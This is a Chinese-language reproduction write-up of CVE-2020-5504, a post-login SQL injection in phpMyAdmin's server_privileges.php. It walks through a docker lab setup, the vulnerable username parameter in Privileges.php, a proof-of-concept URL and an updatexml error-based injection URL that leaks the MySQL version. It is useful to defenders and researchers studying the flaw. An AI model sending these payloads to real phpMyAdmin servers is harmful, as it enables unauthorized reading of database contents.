menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2020-5504)Phpmyadmin 后台sql注入漏洞 chevron_right (CVE-2020-5504)Phpmyadmin 后台sql注入漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2020-5504)Phpmyadmin 后台sql注入漏洞.md
    5.39 KB / 2021-07-15 20:01:24
        (CVE-2020-5504)Phpmyadmin 后台sql注入漏洞
    ===========================================
    
    一、漏洞简介
    ------------
    
    在用户帐户页面中发现了一个SQL注入漏洞。创建对此页面的查询时,恶意用户可能会注入自定义SQL来代替其自己的用户名。攻击者必须具有有效的MySQL帐户才能访问服务器。
    
    二、漏洞影响
    ------------
    
    Phpmyadmin \<= 5.00
    
    Phpmyadmin \<= 4.94
    
    三、复现过程
    ------------
    
    ### 环境搭建
    
    docker一把梭
    
        docker run --name mysql5.6 -e MYSQL_ROOT_PASSWORD=123456 -d mysql:5.6
    
    \`docker run \--name myadmin -d \--link mysql5.7:db -p 8080:80
    phpmyadmin/phpmyadmin:5.0
    
    ### 溯源和构造poc
    
    下载前一个版本
    5.0.0的[代码压缩包](https://files.phpmyadmin.net/phpMyAdmin/5.0.0/phpMyAdmin-5.0.0-english.zip)后,
    打开`libraries/classes/Server/Privileges.php` 来到对应行.
    
        if (isset($_GET['validate_username'])) {
                    $sql_query = "SELECT * FROM `mysql`.`user` WHERE `User` = '"
                        . $_GET['username'] . "';";
                    // 省略 节省篇幅
                }
    
    很显然可以看出注入点是`$_GET['username']`,而需要设置`$_GET['validate_username']`
    
    往上看, 这段代码位于`public function getExtraDataForAjaxBehavior`函数.
    
    搜索上层调用来到`/server_privileges.php` 的这段代码
    
        if ($response->isAjax()
            && empty($_REQUEST['ajax_page_request'])
            && ! isset($_GET['export'])
            && (! isset($_POST['submit_mult']) || $_POST['submit_mult'] != 'export')
            && ((! isset($_GET['initial']) || $_GET['initial'] === null
            || $_GET['initial'] === '')
            || (isset($_POST['delete']) && $_POST['delete'] === __('Go')))
            && ! isset($_GET['showall'])
            && ! isset($_GET['edit_user_group_dialog'])
        ) {
            $extra_data = $serverPrivileges->getExtraDataForAjaxBehavior(
                (isset($password) ? $password : ''),
                (isset($sql_query) ? $sql_query : ''),
                (isset($hostname) ? $hostname : ''),
                (isset($username) ? $username : '')
            );
    
            if (! empty($message) && $message instanceof Message) {
                $response->setRequestStatus($message->isSuccess());
                $response->addJSON('message', $message);
                $response->addJSON($extra_data);
                exit;
            }
        }
    
    可以发现if里大部分条件都可控, 除了`$response->isAjax()`
    
        public function isAjax(): bool
            {
                return $this->_isAjax;
            }
    
    查看构造函数
    
        /**
             * Creates a new class instance
             */
            private function __construct()
            {
                if (! defined('TESTSUITE')) {
                    $buffer = OutputBuffering::getInstance();
                    $buffer->start();
                    register_shutdown_function([$this, 'response']);
                }
                $this->_header = new Header();
                $this->_HTML   = '';
                $this->_JSON   = [];
                $this->_footer = new Footer();
    
                $this->_isSuccess  = true;
                $this->_isDisabled = false;
                $this->setAjax(! empty($_REQUEST['ajax_request']));
                $this->_CWD = getcwd();
            }
    
    可以看到这条件在于`$_REQUEST['ajax_request']`是否为空.
    
    根据上面的几个条件 我们可以构造出如下最简单的poc
    
        http://127.0.0.1:8080/server_privileges.php?ajax_request=true&validate_username=true&username=test%27%22
    
    登陆后(这个操作需要权限) 尝试访问上面的url.返回如下
    
        {"success":false,"error":"<div class=\"error\"><h1>Error<\/h1><p><strong>Static analysis:<\/strong><\/p><p>1 errors were found during analysis.<\/p><p><ol><li>Ending quote \" was expected. (near \"\" at position 53)<\/li><\/ol><\/p><p><strong>SQL query:<\/strong>  <a href=\"#\" class=\"copyQueryBtn\" data-text=\"SELECT * FROM `mysql`.`user` WHERE `User` = 'test'"';\">Copy<\/a>\n<a href=\".\/url.php?url=https%3A%2F%2Fdev.mysql.com%2Fdoc%2Frefman%2F5.6%2Fen%2Fselect.html\" target=\"mysql_doc\"><img src=\"themes\/dot.gif\" title=\"Documentation\" alt=\"Documentation\" class=\"icon ic_b_help\"><\/a><a href=\"server_sql.php?sql_query=SELECT+%2A+FROM+%60mysql%60.%60user%60+WHERE+%60User%60+%3D+%27test%27%22%27%3B&show_query=1\"><span class=\"nowrap\"><img src=\"themes\/dot.gif\" title=\"Edit\" alt=\"Edit\" class=\"icon ic_b_edit\"> Edit<\/span><\/a>    <\/p>\n<p>\nSELECT * FROM `mysql`.`user` WHERE `User` = 'test'"';\n<\/p>\n<p>\n    <strong>MySQL said: <\/strong><a href=\".\/url.php?url=https%3A%2F%2Fdev.mysql.com%2Fdoc%2Frefman%2F5.6%2Fen%2Ferror-messages-server.html\" target=\"mysql_doc\"><img src=\"themes\/dot.gif\" title=\"Documentation\" alt=\"Documentation\" class=\"icon ic_b_help\"><\/a>\n<\/p>\n<code>#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"'' at line 1<\/code><br><\/div>"}
    
    一个sql报错信息, 说明这个最短poc生效了
    
    利用的话 反正都回显了 直接updatexml报错注入
    
        http://127.0.0.1:8080/server_privileges.php?ajax_request=true&validate_username=true&username=test%27%20and%20(select%20updatexml(1,concat(0x7e,(SELECT%20@@version),0x7e),1))%20--%20
    
    在返回最下面可以看到`#1105 - XPATH syntax error: '~5.6.46~'`
    
    ### 后言
    
    这个洞要求一个可以登录的账号才能注入. ,
    另外这个请求似乎也不需要`csrf-token`(不过似乎没什么用)
    
    参考链接
    --------
    
    > <https://xz.aliyun.com/t/7092>
    
    
    links
    file_download